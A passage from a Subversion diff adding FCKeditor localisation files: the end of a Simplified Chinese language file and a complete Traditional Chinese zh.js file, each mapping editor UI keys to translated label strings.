+DlgLnkTypeAnchor	: "页内锚点链接",
+DlgLnkTypeEMail		: "电子邮件",
+DlgLnkProto			: "协议",
+DlgLnkProtoOther	: "<其它>",
+DlgLnkURL			: "地址",
+DlgLnkAnchorSel		: "选择一个锚点",
+DlgLnkAnchorByName	: "按锚点名称",
+DlgLnkAnchorById	: "按锚点 ID",
+DlgLnkNoAnchors		: "<此文档没有可用的锚点>",
+DlgLnkEMail			: "地址",
+DlgLnkEMailSubject	: "主题",
+DlgLnkEMailBody		: "内容",
+DlgLnkUpload		: "上传",
+DlgLnkBtnUpload		: "发送到服务器上",
+
+DlgLnkTarget		: "目标",
+DlgLnkTargetFrame	: "<框架>",
+DlgLnkTargetPopup	: "<弹出窗口>",
+DlgLnkTargetBlank	: "新窗口 (_blank)",
+DlgLnkTargetParent	: "父窗口 (_parent)",
+DlgLnkTargetSelf	: "本窗口 (_self)",
+DlgLnkTargetTop		: "整页 (_top)",
+DlgLnkTargetFrameName	: "目标框架名称",
+DlgLnkPopWinName	: "弹出窗口名称",
+DlgLnkPopWinFeat	: "弹出窗口属性",
+DlgLnkPopResize		: "调整大小",
+DlgLnkPopLocation	: "地址栏",
+DlgLnkPopMenu		: "菜单栏",
+DlgLnkPopScroll		: "滚动条",
+DlgLnkPopStatus		: "状态栏",
+DlgLnkPopToolbar	: "工具栏",
+DlgLnkPopFullScrn	: "全屏 (IE)",
+DlgLnkPopDependent	: "依附 (NS)",
+DlgLnkPopWidth		: "宽",
+DlgLnkPopHeight		: "高",
+DlgLnkPopLeft		: "左",
+DlgLnkPopTop		: "右",
+
+DlnLnkMsgNoUrl		: "请输入超链接地址",
+DlnLnkMsgNoEMail	: "请输入电子邮件地址",
+DlnLnkMsgNoAnchor	: "请选择一个锚点",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "选择颜色",
+DlgColorBtnClear	: "清除",
+DlgColorHighlight	: "预览",
+DlgColorSelected	: "选择",
+
+// Smiley Dialog
+DlgSmileyTitle		: "插入表情图标",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "选择特殊符号",
+
+// Table Dialog
+DlgTableTitle		: "表格属性",
+DlgTableRows		: "行数",
+DlgTableColumns		: "列数",
+DlgTableBorder		: "边框",
+DlgTableAlign		: "对齐",
+DlgTableAlignNotSet	: "<没有设置>",
+DlgTableAlignLeft	: "左对齐",
+DlgTableAlignCenter	: "居中",
+DlgTableAlignRight	: "右对齐",
+DlgTableWidth		: "宽度",
+DlgTableWidthPx		: "像素",
+DlgTableWidthPc		: "百分比",
+DlgTableHeight		: "高度",
+DlgTableCellSpace	: "间距",
+DlgTableCellPad		: "边距",
+DlgTableCaption		: "标题",
+DlgTableSummary		: "摘要",
+
+// Table Cell Dialog
+DlgCellTitle		: "单元格属性",
+DlgCellWidth		: "宽度",
+DlgCellWidthPx		: "像素",
+DlgCellWidthPc		: "百分比",
+DlgCellHeight		: "高度",
+DlgCellWordWrap		: "自动换行",
+DlgCellWordWrapNotSet	: "<没有设置>",
+DlgCellWordWrapYes	: "是",
+DlgCellWordWrapNo	: "否",
+DlgCellHorAlign		: "水平对齐",
+DlgCellHorAlignNotSet	: "<没有设置>",
+DlgCellHorAlignLeft	: "左对齐",
+DlgCellHorAlignCenter	: "居中",
+DlgCellHorAlignRight: "右对齐",
+DlgCellVerAlign		: "垂直对齐",
+DlgCellVerAlignNotSet	: "<没有设置>",
+DlgCellVerAlignTop	: "顶端",
+DlgCellVerAlignMiddle	: "居中",
+DlgCellVerAlignBottom	: "底部",
+DlgCellVerAlignBaseline	: "基线",
+DlgCellRowSpan		: "纵跨行数",
+DlgCellCollSpan		: "横跨列数",
+DlgCellBackColor	: "背景颜色",
+DlgCellBorderColor	: "边框颜色",
+DlgCellBtnSelect	: "选择...",
+
+// Find Dialog
+DlgFindTitle		: "查找",
+DlgFindFindBtn		: "查找",
+DlgFindNotFoundMsg	: "指定文本没有找到。",
+
+// Replace Dialog
+DlgReplaceTitle			: "替换",
+DlgReplaceFindLbl		: "查找:",
+DlgReplaceReplaceLbl	: "替换:",
+DlgReplaceCaseChk		: "区分大小写",
+DlgReplaceReplaceBtn	: "替换",
+DlgReplaceReplAllBtn	: "全部替换",
+DlgReplaceWordChk		: "全字匹配",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "您的浏览器安全设置不允许编辑器自动执行粘贴操作，请使用键盘快捷键(Ctrl+V)来完成。",
+PasteErrorCut	: "您的浏览器安全设置不允许编辑器自动执行剪切操作，请使用键盘快捷键(Ctrl+X)来完成。",
+PasteErrorCopy	: "您的浏览器安全设置不允许编辑器自动执行复制操作，请使用键盘快捷键(Ctrl+C)来完成。",
+
+PasteAsText		: "粘贴为无格式文本",
+PasteFromWord	: "从 MS Word 粘贴",
+
+DlgPasteMsg2	: "请使用键盘快捷键(<STRONG>Ctrl+V</STRONG>)把内容粘贴到下面的方框里，再按 <STRONG>确定</STRONG>。",
+DlgPasteIgnoreFont		: "忽略 Font 标签",
+DlgPasteRemoveStyles	: "清理 CSS 样式",
+DlgPasteCleanBox		: "清空上面内容",
+
+// Color Picker
+ColorAutomatic	: "自动",
+ColorMoreColors	: "其它颜色...",
+
+// Document Properties
+DocProps		: "页面属性",
+
+// Anchor Dialog
+DlgAnchorTitle		: "命名锚点",
+DlgAnchorName		: "锚点名称",
+DlgAnchorErrorName	: "请输入锚点名称",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "没有在字典里",
+DlgSpellChangeTo		: "更改为",
+DlgSpellBtnIgnore		: "忽略",
+DlgSpellBtnIgnoreAll	: "全部忽略",
+DlgSpellBtnReplace		: "替换",
+DlgSpellBtnReplaceAll	: "全部替换",
+DlgSpellBtnUndo			: "撤消",
+DlgSpellNoSuggestions	: "- 没有建议 -",
+DlgSpellProgress		: "正在进行拼写检查...",
+DlgSpellNoMispell		: "拼写检查完成：没有发现拼写错误",
+DlgSpellNoChanges		: "拼写检查完成：没有更改任何单词",
+DlgSpellOneChange		: "拼写检查完成：更改了一个单词",
+DlgSpellManyChanges		: "拼写检查完成：更改了 %1 个单词",
+
+IeSpellDownload			: "拼写检查插件还没安装，你是否想现在就下载？",
+
+// Button Dialog
+DlgButtonText		: "标签(值)",
+DlgButtonType		: "类型",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "名称",
+DlgCheckboxValue	: "选定值",
+DlgCheckboxSelected	: "已勾选",
+
+// Form Dialog
+DlgFormName		: "名称",
+DlgFormAction	: "动作",
+DlgFormMethod	: "方法",
+
+// Select Field Dialog
+DlgSelectName		: "名称",
+DlgSelectValue		: "选定",
+DlgSelectSize		: "高度",
+DlgSelectLines		: "行",
+DlgSelectChkMulti	: "允许多选",
+DlgSelectOpAvail	: "列表值",
+DlgSelectOpText		: "标签",
+DlgSelectOpValue	: "值",
+DlgSelectBtnAdd		: "新增",
+DlgSelectBtnModify	: "修改",
+DlgSelectBtnUp		: "上移",
+DlgSelectBtnDown	: "下移",
+DlgSelectBtnSetValue : "设为初始化时选定",
+DlgSelectBtnDelete	: "删除",
+
+// Textarea Dialog
+DlgTextareaName	: "名称",
+DlgTextareaCols	: "字符宽度",
+DlgTextareaRows	: "行数",
+
+// Text Field Dialog
+DlgTextName			: "名称",
+DlgTextValue		: "初始值",
+DlgTextCharWidth	: "字符宽度",
+DlgTextMaxChars		: "最多字符数",
+DlgTextType			: "类型",
+DlgTextTypeText		: "文本",
+DlgTextTypePass		: "密码",
+
+// Hidden Field Dialog
+DlgHiddenName	: "名称",
+DlgHiddenValue	: "初始值",
+
+// Bulleted List Dialog
+BulletedListProp	: "项目列表属性",
+NumberedListProp	: "编号列表属性",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "列表类型",
+DlgLstTypeCircle	: "圆圈",
+DlgLstTypeDisc		: "圆点",
+DlgLstTypeSquare	: "方块",
+DlgLstTypeNumbers	: "数字 (1, 2, 3)",
+DlgLstTypeLCase		: "小写字母 (a, b, c)",
+DlgLstTypeUCase		: "大写字母 (A, B, C)",
+DlgLstTypeSRoman	: "小写罗马数字 (i, ii, iii)",
+DlgLstTypeLRoman	: "大写罗马数字 (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "常规",
+DlgDocBackTab		: "背景",
+DlgDocColorsTab		: "颜色和边距",
+DlgDocMetaTab		: "Meta 数据",
+
+DlgDocPageTitle		: "页面标题",
+DlgDocLangDir		: "语言方向",
+DlgDocLangDirLTR	: "从左到右 (LTR)",
+DlgDocLangDirRTL	: "从右到左 (RTL)",
+DlgDocLangCode		: "语言代码",
+DlgDocCharSet		: "字符编码",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "其它字符编码",
+
+DlgDocDocType		: "文档类型",
+DlgDocDocTypeOther	: "其它文档类型",
+DlgDocIncXHTML		: "包含 XHTML 声明",
+DlgDocBgColor		: "背景颜色",
+DlgDocBgImage		: "背景图像",
+DlgDocBgNoScroll	: "不滚动背景图像",
+DlgDocCText			: "文本",
+DlgDocCLink			: "超链接",
+DlgDocCVisited		: "已访问的超链接",
+DlgDocCActive		: "活动超链接",
+DlgDocMargins		: "页面边距",
+DlgDocMaTop			: "上",
+DlgDocMaLeft		: "左",
+DlgDocMaRight		: "右",
+DlgDocMaBottom		: "下",
+DlgDocMeIndex		: "页面索引关键字 (用半角逗号[,]分隔)",
+DlgDocMeDescr		: "页面说明",
+DlgDocMeAuthor		: "作者",
+DlgDocMeCopy		: "版权",
+DlgDocPreview		: "预览",
+
+// Templates Dialog
+Templates			: "模板",
+DlgTemplatesTitle	: "内容模板",
+DlgTemplatesSelMsg	: "请选择编辑器内容模板<br>(当前内容将会被清除替换):",
+DlgTemplatesLoading	: "正在加载模板列表，请稍等...",
+DlgTemplatesNoTpl	: "(没有模板)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "关于",
+DlgAboutBrowserInfoTab	: "浏览器信息",
+DlgAboutLicenseTab	: "许可证",
+DlgAboutVersion		: "版本",
+DlgAboutLicense		: "基于 GNU 通用公共许可证授权发布 ",
+DlgAboutInfo		: "要获得更多信息请访问 "
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: zh.js
+ * 	Chinese Traditional language file.
+ * 
+ * File Authors:
+ * 		Zak Fong (zakfong@yahoo.com.tw)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "隱藏面板",
+ToolbarExpand		: "顯示面板",
+
+// Toolbar Items and Context Menu
+Save				: "儲存",
+NewPage				: "開新檔案",
+Preview				: "預覽",
+Cut					: "剪下",
+Copy				: "複製",
+Paste				: "貼上",
+PasteText			: "貼為純文字格式",
+PasteWord			: "自 Word 貼上",
+Print				: "列印",
+SelectAll			: "全選",
+RemoveFormat		: "清除格式",
+InsertLinkLbl		: "超連結",
+InsertLink			: "插入/編輯超連結",
+RemoveLink			: "移除超連結",
+Anchor				: "插入/編輯錨點",
+InsertImageLbl		: "影像",
+InsertImage			: "插入/編輯影像",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "插入/編輯 Flash",
+InsertTableLbl		: "表格",
+InsertTable			: "插入/編輯表格",
+InsertLineLbl		: "水平線",
+InsertLine			: "插入水平線",
+InsertSpecialCharLbl: "特殊符號",
+InsertSpecialChar	: "插入特殊符號",
+InsertSmileyLbl		: "表情符號",
+InsertSmiley		: "插入表情符號",
+About				: "關於 FCKeditor",
+Bold				: "粗體",
+Italic				: "斜體",
+Underline			: "底線",
+StrikeThrough		: "刪除線",
+Subscript			: "下標",
+Superscript			: "上標",
+LeftJustify			: "靠左對齊",
+CenterJustify		: "置中",
+RightJustify		: "靠右對齊",
+BlockJustify		: "左右對齊",
+DecreaseIndent		: "減少縮排",
+IncreaseIndent		: "增加縮排",
+Undo				: "復原",
+Redo				: "重複",
+NumberedListLbl		: "編號清單",
+NumberedList		: "插入/移除編號清單",
+BulletedListLbl		: "項目清單",
+BulletedList		: "插入/移除項目清單",
+ShowTableBorders	: "顯示表格邊框",
+ShowDetails			: "顯示詳細資料",
+Style				: "樣式",
+FontFormat			: "格式",
+Font				: "字體",
+FontSize			: "大小",
+TextColor			: "文字顏色",
+BGColor				: "背景顏色",
+Source				: "原始碼",
+Find				: "尋找",
+Replace				: "取代",
+SpellCheck			: "拼字檢查",
+UniversalKeyboard	: "萬國鍵盤",
+PageBreakLbl		: "分頁符號",
+PageBreak			: "插入分頁符號",
+
+Form			: "表單",
+Checkbox		: "核取方塊",
+RadioButton		: "選項按鈕",
+TextField		: "文字方塊",
+Textarea		: "文字區域",
+HiddenField		: "隱藏欄位",
+Button			: "按鈕",
+SelectionField	: "清單/選單",
+ImageButton		: "影像按鈕",
+
+FitWindow		: "編輯器最大化",
+
+// Context Menu
+EditLink			: "編輯超連結",
+CellCM				: "儲存格",
+RowCM				: "列",
+ColumnCM			: "欄",
+InsertRow			: "插入列",
+DeleteRows			: "刪除列",
+InsertColumn		: "插入欄",
+DeleteColumns		: "刪除欄",
+InsertCell			: "插入儲存格",
+DeleteCells			: "刪除儲存格",
+MergeCells			: "合併儲存格",
+SplitCell			: "分割儲存格",
+TableDelete			: "刪除表格",
+CellProperties		: "儲存格屬性",
+TableProperties		: "表格屬性",
+ImageProperties		: "影像屬性",
+FlashProperties		: "Flash 屬性",
+
+AnchorProp			: "錨點屬性",
+ButtonProp			: "按鈕屬性",
+CheckboxProp		: "核取方塊屬性",
+HiddenFieldProp		: "隱藏欄位屬性",
+RadioButtonProp		: "選項按鈕屬性",
+ImageButtonProp		: "影像按鈕屬性",
+TextFieldProp		: "文字方塊屬性",
+SelectionFieldProp	: "清單/選單屬性",
+TextareaProp		: "文字區域屬性",
+FormProp			: "表單屬性",
+
+FontFormats			: "本文;已格式化;位址;標題 1;標題 2;標題 3;標題 4;標題 5;標題 6;本文 (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "處理 XHTML 中，請稍候…",
+Done				: "完成",
+PasteWordConfirm	: "您想貼上的文字似乎是自 Word 複製而來，請問您是否要先清除 Word 的格式後再行貼上？",
+NotCompatiblePaste	: "此指令僅在 Internet Explorer 5.5 或以上的版本有效。請問您是否同意不清除格式即貼上？",
+UnknownToolbarItem	: "未知工具列項目 \"%1\"",
+UnknownCommand		: "未知指令名稱 \"%1\"",
+NotImplemented		: "尚未安裝此指令",
+UnknownToolbarSet	: "工具列設定 \"%1\" 不存在",
+NoActiveX			: "瀏覽器的安全性設定限制了本編輯器的某些功能。您必須啟用安全性設定中的「執行ActiveX控制項與外掛程式」項目，否則本編輯器將會出現錯誤並缺少某些功能",
+BrowseServerBlocked : "無法開啟資源瀏覽器，請確定所有快顯視窗封鎖程式是否關閉",
+DialogBlocked		: "無法開啟對話視窗，請確定所有快顯視窗封鎖程式是否關閉",
+
+// Dialogs
+DlgBtnOK			: "確定",
+DlgBtnCancel		: "取消",
+DlgBtnClose			: "關閉",
+DlgBtnBrowseServer	: "瀏覽伺服器端",
+DlgAdvancedTag		: "進階",
+DlgOpOther			: "<其他>",
+DlgInfoTab			: "資訊",
+DlgAlertUrl			: "請插入 URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<尚未設定>",
+DlgGenId			: "ID",
+DlgGenLangDir		: "語言方向",
+DlgGenLangDirLtr	: "由左而右 (LTR)",
+DlgGenLangDirRtl	: "由右而左 (RTL)",
+DlgGenLangCode		: "語言代碼",
+DlgGenAccessKey		: "存取鍵",
+DlgGenName			: "名稱",
+DlgGenTabIndex		: "定位順序",
+DlgGenLongDescr		: "詳細 URL",
+DlgGenClass			: "樣式表類別",
+DlgGenTitle			: "標題",
+DlgGenContType		: "內容類型",
+DlgGenLinkCharset	: "連結資源之編碼",
+DlgGenStyle			: "樣式",
+
+// Image Dialog
+DlgImgTitle			: "影像屬性",
+DlgImgInfoTab		: "影像資訊",
+DlgImgBtnUpload		: "上傳至伺服器",
+DlgImgURL			: "URL",
+DlgImgUpload		: "上傳",
+DlgImgAlt			: "替代文字",
+DlgImgWidth			: "寬度",
+DlgImgHeight		: "高度",
+DlgImgLockRatio		: "等比例",
+DlgBtnResetSize		: "重設為原大小",
+DlgImgBorder		: "邊框",
+DlgImgHSpace		: "水平距離",
+DlgImgVSpace		: "垂直距離",
+DlgImgAlign			: "對齊",
+DlgImgAlignLeft		: "靠左對齊",
+DlgImgAlignAbsBottom: "絕對下方",
+DlgImgAlignAbsMiddle: "絕對中間",
+DlgImgAlignBaseline	: "基準線",
+DlgImgAlignBottom	: "靠下對齊",
+DlgImgAlignMiddle	: "置中對齊",
+DlgImgAlignRight	: "靠右對齊",
+DlgImgAlignTextTop	: "文字上方",
+DlgImgAlignTop		: "靠上對齊",
+DlgImgPreview		: "預覽",
+DlgImgAlertUrl		: "請輸入影像 URL",
+DlgImgLinkTab		: "超連結",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash 屬性",
+DlgFlashChkPlay		: "自動播放",
+DlgFlashChkLoop		: "重複",
+DlgFlashChkMenu		: "開啟選單",
+DlgFlashScale		: "縮放",
+DlgFlashScaleAll	: "全部顯示",
+DlgFlashScaleNoBorder	: "無邊框",
+DlgFlashScaleFit	: "精確符合",
+
+// Link Dialog
+DlgLnkWindowTitle	: "超連結",
+DlgLnkInfoTab		: "超連結資訊",
+DlgLnkTargetTab		: "目標",
+
+DlgLnkType			: "超連接類型",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "本頁錨點",
+DlgLnkTypeEMail		: "電子郵件",
+DlgLnkProto			: "通訊協定",
+DlgLnkProtoOther	: "<其他>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "請選擇錨點",
+DlgLnkAnchorByName	: "依錨點名稱",
+DlgLnkAnchorById	: "依元件 ID",
+DlgLnkNoAnchors		: "<本文件尚無可用之錨點>",
+DlgLnkEMail			: "電子郵件",
+DlgLnkEMailSubject	: "郵件主旨",
+DlgLnkEMailBody		: "郵件內容",
+DlgLnkUpload		: "上傳",
+DlgLnkBtnUpload		: "傳送至伺服器",
+
+DlgLnkTarget		: "目標",
+DlgLnkTargetFrame	: "<框架>",
+DlgLnkTargetPopup	: "<快顯視窗>",
+DlgLnkTargetBlank	: "新視窗 (_blank)",
+DlgLnkTargetParent	: "父視窗 (_parent)",
+DlgLnkTargetSelf	: "本視窗 (_self)",
+DlgLnkTargetTop		: "最上層視窗 (_top)",
+DlgLnkTargetFrameName	: "目標框架名稱",
+DlgLnkPopWinName	: "快顯視窗名稱",
+DlgLnkPopWinFeat	: "快顯視窗屬性",
+DlgLnkPopResize		: "可調整大小",
+DlgLnkPopLocation	: "網址列",
+DlgLnkPopMenu		: "選單列",
+DlgLnkPopScroll		: "捲軸",
+DlgLnkPopStatus		: "狀態列",
+DlgLnkPopToolbar	: "工具列",
+DlgLnkPopFullScrn	: "全螢幕 (IE)",
+DlgLnkPopDependent	: "從屬 (NS)",
+DlgLnkPopWidth		: "寬",
+DlgLnkPopHeight		: "高",
+DlgLnkPopLeft		: "左",
+DlgLnkPopTop		: "右",
+
+DlnLnkMsgNoUrl		: "請輸入欲連結的 URL",
+DlnLnkMsgNoEMail	: "請輸入電子郵件位址",
+DlnLnkMsgNoAnchor	: "請選擇錨點",
+DlnLnkMsgInvPopName	: "快顯名稱必須以「英文字母」為開頭，且不得含有空白",
+
+// Color Dialog
+DlgColorTitle		: "請選擇顏色",
+DlgColorBtnClear	: "清除",
+DlgColorHighlight	: "預覽",
+DlgColorSelected	: "選擇",
+
+// Smiley Dialog
+DlgSmileyTitle		: "插入表情符號",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "請選擇特殊符號",
+
+// Table Dialog
+DlgTableTitle		: "表格屬性",
+DlgTableRows		: "列數",
+DlgTableColumns		: "欄數",
+DlgTableBorder		: "邊框",
+DlgTableAlign		: "對齊",
+DlgTableAlignNotSet	: "<未設定>",
+DlgTableAlignLeft	: "靠左對齊",
+DlgTableAlignCenter	: "置中",
+DlgTableAlignRight	: "靠右對齊",
+DlgTableWidth		: "寬度",
+DlgTableWidthPx		: "像素",
+DlgTableWidthPc		: "百分比",
+DlgTableHeight		: "高度",
+DlgTableCellSpace	: "間距",
+DlgTableCellPad		: "內距",
+DlgTableCaption		: "標題",
+DlgTableSummary		: "摘要",
+
+// Table Cell Dialog
+DlgCellTitle		: "儲存格屬性",
+DlgCellWidth		: "寬度",
+DlgCellWidthPx		: "像素",
+DlgCellWidthPc		: "百分比",
+DlgCellHeight		: "高度",
+DlgCellWordWrap		: "自動換行",
+DlgCellWordWrapNotSet	: "<尚未設定>",
+DlgCellWordWrapYes	: "是",
+DlgCellWordWrapNo	: "否",
+DlgCellHorAlign		: "水平對齊",
+DlgCellHorAlignNotSet	: "<尚未設定>",
+DlgCellHorAlignLeft	: "靠左對齊",
+DlgCellHorAlignCenter	: "置中",
+DlgCellHorAlignRight: "靠右對齊",
+DlgCellVerAlign		: "垂直對齊",
+DlgCellVerAlignNotSet	: "<尚未設定>",
+DlgCellVerAlignTop	: "靠上對齊",
+DlgCellVerAlignMiddle	: "置中",
+DlgCellVerAlignBottom	: "靠下對齊",
+DlgCellVerAlignBaseline	: "基準線",
+DlgCellRowSpan		: "合併列數",
+DlgCellCollSpan		: "合併欄数",
+DlgCellBackColor	: "背景顏色",
+DlgCellBorderColor	: "邊框顏色",
+DlgCellBtnSelect	: "請選擇…",
+
+// Find Dialog
+DlgFindTitle		: "尋找",
+DlgFindFindBtn		: "尋找",
+DlgFindNotFoundMsg	: "未找到指定的文字。",
+
+// Replace Dialog
+DlgReplaceTitle			: "取代",
+DlgReplaceFindLbl		: "尋找:",
+DlgReplaceReplaceLbl	: "取代:",
+DlgReplaceCaseChk		: "大小寫須相符",
+DlgReplaceReplaceBtn	: "取代",
+DlgReplaceReplAllBtn	: "全部取代",
+DlgReplaceWordChk		: "全字相符",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "瀏覽器的安全性設定不允許編輯器自動執行貼上動作。請使用快捷鍵 (Ctrl+V) 貼上。",
+PasteErrorCut	: "瀏覽器的安全性設定不允許編輯器自動執行剪下動作。請使用快捷鍵 (Ctrl+X) 剪下。",
+PasteErrorCopy	: "瀏覽器的安全性設定不允許編輯器自動執行複製動作。請使用快捷鍵 (Ctrl+C) 複製。",
+
+PasteAsText		: "貼為純文字格式",
+PasteFromWord	: "自 Word 貼上",
+
+DlgPasteMsg2	: "請使用快捷鍵 (<strong>Ctrl+V</strong>) 貼到下方區域中並按下 <strong>確定</strong>",
+DlgPasteIgnoreFont		: "移除字型設定",
+DlgPasteRemoveStyles	: "移除樣式設定",
+DlgPasteCleanBox		: "清除文字區域",
+
+// Color Picker
+ColorAutomatic	: "自動",
+ColorMoreColors	: "更多顏色…",
+
+// Document Properties
+DocProps		: "文件屬性",
+
+// Anchor Dialog
+DlgAnchorTitle		: "命名錨點",
+DlgAnchorName		: "錨點名稱",
+DlgAnchorErrorName	: "請輸入錨點名稱",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "不在字典中",
+DlgSpellChangeTo		: "更改為",
+DlgSpellBtnIgnore		: "忽略",
+DlgSpellBtnIgnoreAll	: "全部忽略",
+DlgSpellBtnReplace		: "取代",
+DlgSpellBtnReplaceAll	: "全部取代",
+DlgSpellBtnUndo			: "復原",
+DlgSpellNoSuggestions	: "- 無建議值 -",
+DlgSpellProgress		: "進行拼字檢查中…",
+DlgSpellNoMispell		: "拼字檢查完成：未發現拼字錯誤",
+DlgSpellNoChanges		: "拼字檢查完成：未更改任何單字",
+DlgSpellOneChange		: "拼字檢查完成：更改了 1 個單字",
+DlgSpellManyChanges		: "拼字檢查完成：更改了 %1 個單字",
+
+IeSpellDownload			: "尚未安裝拼字檢查元件。您是否想要現在下載？",
+
+// Button Dialog
+DlgButtonText		: "顯示文字 (值)",
+DlgButtonType		: "類型",
+DlgButtonTypeBtn	: "按鈕 (Button)",
+DlgButtonTypeSbm	: "送出 (Submit)",
+DlgButtonTypeRst	: "重設 (Reset)",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "名稱",
+DlgCheckboxValue	: "選取值",
+DlgCheckboxSelected	: "已選取",
+
+// Form Dialog
+DlgFormName		: "名稱",
+DlgFormAction	: "動作",
+DlgFormMethod	: "方法",
+
+// Select Field Dialog
+DlgSelectName		: "名稱",
+DlgSelectValue		: "選取值",
+DlgSelectSize		: "大小",
+DlgSelectLines		: "行",
+DlgSelectChkMulti	: "可多選",
+DlgSelectOpAvail	: "可用選項",
+DlgSelectOpText		: "顯示文字",
+DlgSelectOpValue	: "值",
+DlgSelectBtnAdd		: "新增",
+DlgSelectBtnModify	: "修改",
+DlgSelectBtnUp		: "上移",
+DlgSelectBtnDown	: "下移",
+DlgSelectBtnSetValue : "設為預設值",
+DlgSelectBtnDelete	: "刪除",
+
+// Textarea Dialog
+DlgTextareaName	: "名稱",
+DlgTextareaCols	: "字元寬度",
+DlgTextareaRows	: "列數",
+
+// Text Field Dialog
+DlgTextName			: "名稱",
+DlgTextValue		: "值",
+DlgTextCharWidth	: "字元寬度",
+DlgTextMaxChars		: "最多字元數",
+DlgTextType			: "類型",
+DlgTextTypeText		: "文字",
+DlgTextTypePass		: "密碼",
+
+// Hidden Field Dialog
+DlgHiddenName	: "名稱",
+DlgHiddenValue	: "值",
+
+// Bulleted List Dialog
+BulletedListProp	: "項目清單屬性",
+NumberedListProp	: "編號清單屬性",
+DlgLstStart			: "起始編號",
+DlgLstType			: "清單類型",
+DlgLstTypeCircle	: "圓圈",
+DlgLstTypeDisc		: "圓點",
+DlgLstTypeSquare	: "方塊",
+DlgLstTypeNumbers	: "數字 (1, 2, 3)",
+DlgLstTypeLCase		: "小寫字母 (a, b, c)",
+DlgLstTypeUCase		: "大寫字母 (A, B, C)",
+DlgLstTypeSRoman	: "小寫羅馬數字 (i, ii, iii)",
+DlgLstTypeLRoman	: "大寫羅馬數字 (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "一般",
+DlgDocBackTab		: "背景",
+DlgDocColorsTab		: "顯色與邊界",
+DlgDocMetaTab		: "Meta 資料",
+
+DlgDocPageTitle		: "頁面標題",
+DlgDocLangDir		: "語言方向",
+DlgDocLangDirLTR	: "由左而右 (LTR)",
+DlgDocLangDirRTL	: "由右而左 (RTL)",
+DlgDocLangCode		: "語言代碼",
+DlgDocCharSet		: "字元編碼",
+DlgDocCharSetCE		: "中歐語系",
+DlgDocCharSetCT		: "正體中文 (Big5)",
+DlgDocCharSetCR		: "斯拉夫文",
+DlgDocCharSetGR		: "希臘文",
+DlgDocCharSetJP		: "日文",
+DlgDocCharSetKR		: "韓文",
+DlgDocCharSetTR		: "土耳其文",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "西歐語系",
+DlgDocCharSetOther	: "其他字元編碼",
+
+DlgDocDocType		: "文件類型",
+DlgDocDocTypeOther	: "其他文件類型",
+DlgDocIncXHTML		: "包含 XHTML 定義",
+DlgDocBgColor		: "背景顏色",
+DlgDocBgImage		: "背景影像",
+DlgDocBgNoScroll	: "浮水印",
+DlgDocCText			: "文字",
+DlgDocCLink			: "超連結",
+DlgDocCVisited		: "已瀏覽過的超連結",
+DlgDocCActive		: "作用中的超連結",
+DlgDocMargins		: "頁面邊界",
+DlgDocMaTop			: "上",
+DlgDocMaLeft		: "左",
+DlgDocMaRight		: "右",
+DlgDocMaBottom		: "下",
+DlgDocMeIndex		: "文件索引關鍵字 (用半形逗號[,]分隔)",
+DlgDocMeDescr		: "文件說明",
+DlgDocMeAuthor		: "作者",
+DlgDocMeCopy		: "版權所有",
+DlgDocPreview		: "預覽",
+
+// Templates Dialog
+Templates			: "樣版",
+DlgTemplatesTitle	: "內容樣版",
+DlgTemplatesSelMsg	: "請選擇欲開啟的樣版<br> (原有的內容將會被清除):",
+DlgTemplatesLoading	: "讀取樣版清單中，請稍候…",
+DlgTemplatesNoTpl	: "(無樣版)",
+DlgTemplatesReplace	: "取代原有內容",
+
+// About Dialog
+DlgAboutAboutTab	: "關於",
+DlgAboutBrowserInfoTab	: "瀏覽器資訊",
+DlgAboutLicenseTab	: "許可證",
+DlgAboutVersion		: "版本",
+DlgAboutLicense		: "依據 GNU 較寬鬆公共許可證(LGPL)發佈",
+DlgAboutInfo		: "想獲得更多資訊請至 "
+}
